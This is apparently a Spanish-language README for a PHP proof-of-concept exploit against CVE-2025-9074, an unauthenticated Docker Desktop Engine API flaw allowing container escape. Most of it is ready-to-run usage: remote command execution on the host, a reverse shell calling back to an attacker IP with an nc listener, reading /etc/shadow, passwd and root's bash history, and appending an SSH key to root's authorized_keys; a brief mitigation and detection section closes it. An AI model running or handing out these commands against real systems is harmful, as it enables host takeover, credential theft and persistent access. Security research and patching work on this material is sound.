
PoC en PHP, exploit para CVE-2025-9074
Gravedad: CRÍTICA | Puntuación CVSS: 9.8 (estimada) | Versiones afectadas: Docker Desktop < 4.44.3
Un exploit de prueba de concepto para CVE-2025-9074, una vulnerabilidad de ejecución remota de código no autenticada en la API de Docker Engine que permite escapar de contenedores privilegiados y comprometer el sistema host.
CVE-2025-9074 es una vulnerabilidad crítica en Docker Desktop que expone la API de Docker Engine sin autenticación adecuada ni aislamiento de red. Esto permite a atacantes remotos:
La vulnerabilidad afecta a:
git clone https://github.com/yourusername/CVE-2025-9074.git
cd CVE-2025-9074
Ejecuta un único comando en el host Docker:
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
Establece una shell inversa interactiva:
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Run exploit
php poc.php -u http://192.168.65.7:2375 -m reverse -l 10.10.14.36 -p 4444
php poc.php -u <url> [options]
Ejecuta comandos individuales en el objetivo:
# Simple command
php poc.php -u http://192.168.65.7:2375 -m cmd -c "id"
# Read files from host
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/flag.txt" --cleanup
# With cleanup
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami" --cleanup
Genera una shell interactiva con callback:
php poc.php -u http://192.168.65.7:2375 -m reverse -l 192.168.1.100 -p 4444
php poc.php -u http://target:2375 -m cmd -c "cat /mnt/hostfs/etc/shadow" --os linux
php poc.php -u http://target:2375 -m cmd -c "dir C:\" --os windows
php poc.php -u http://target:2375 -m cmd -c "ls -la /mnt/hostfs/Users/" --os mac
# Enumerate host system
php poc.php -u http://192.168.65.7:2375 -m cmd -c "uname -a"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "whoami"
# Extract sensitive files
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/root/.bash_history"
php poc.php -u http://192.168.65.7:2375 -m cmd -c "cat /mnt/hostfs/etc/passwd"
# Add SSH key
php poc.php -u http://192.168.65.7:2375 -m cmd -c "mkdir -p /mnt/hostfs/root/.ssh && echo 'SSH_KEY' >> /mnt/hostfs/root/.ssh/authorized_keys"
# Enumerate running containers and networks
php poc.php -u http://192.168.65.7:2375 -m cmd -c "docker ps --all"
0.0.0.0:2375 sin autenticación/containers/create/:/mnt/hostfs/:/mnt/hostfs/mnt/host/c:/mnt/hostfs/mnt/hostfs┌─────────────────────────────────────────────────────┐
│ poc.php (Your Machine) │
└────────────┬────────────────────────────────────────┘
│ HTTP REST API Call
▼
┌─────────────────────────────────────────────────────┐
│ Docker API (Target Port 2375) [UNAUTHENTICATED] │
└────────────┬────────────────────────────────────────┘
│ Creates Container
▼
┌─────────────────────────────────────────────────────┐
│ Privileged Alpine Container │
│ ├─ Full Root Access │
│ ├─ Bind Mount: /:/mnt/hostfs │
│ └─ Executes Attacker Command │
└────────────┬────────────────────────────────────────┘
│ Command Output
▼
┌─────────────────────────────────────────────────────┐
│ Output Returned to Attacker │
└─────────────────────────────────────────────────────┘
Actualizar Docker Desktop
# Update to version 4.44.3 or later
Aislamiento de red
Habilitar la autenticación TLS
# Configure Docker daemon with TLS certificates
# In daemon.json:
{
"tlsverify": true,
"tlscacert": "/etc/docker/ca.pem",
"tlscert": "/etc/docker/server-cert.pem",
"tlskey": "/etc/docker/server-key.pem"
}
Segmentación de red
/var/run/docker.sock) solo para acceso local# Scan for exposed Docker APIs
nmap -p 2375,2376 -sV target_network
# Check if port responds to Docker API
curl -s http://target:2375/version
Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.
¡Las contribuciones son bienvenidas! No dudes en enviar incidencias (issues) o solicitudes de cambio (pull requests).
Este proyecto está bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
Investigador de seguridad | Probador de penetración
Última actualización: mayo de 2025 | Estado: Investigación activa
| Opción | Corto | Requerido | Descripción |
|---|
--url | -u | ✅ Sí | URL de la API de Docker (p. ej., http://1.2.3.4:2375) |
--mode | -m | ❌ No | Modo de ejecución: cmd o reverse (por defecto: cmd) |
--cmd | -c | ⚠️ Para el modo cmd | Comando a ejecutar en el objetivo |
--lhost | -l | ⚠️ Para el modo reverse | Tu dirección IP para el callback |
--lport | -p | ❌ No | Tu puerto de escucha (por defecto: 4444) |
--os | — | ❌ No | SO del objetivo: linux, mac, windows (por defecto: linux) |
--cleanup | — | ❌ No | Eliminar el contenedor después de la ejecución |
--help | -h | ❌ No | Mostrar el mensaje de ayuda |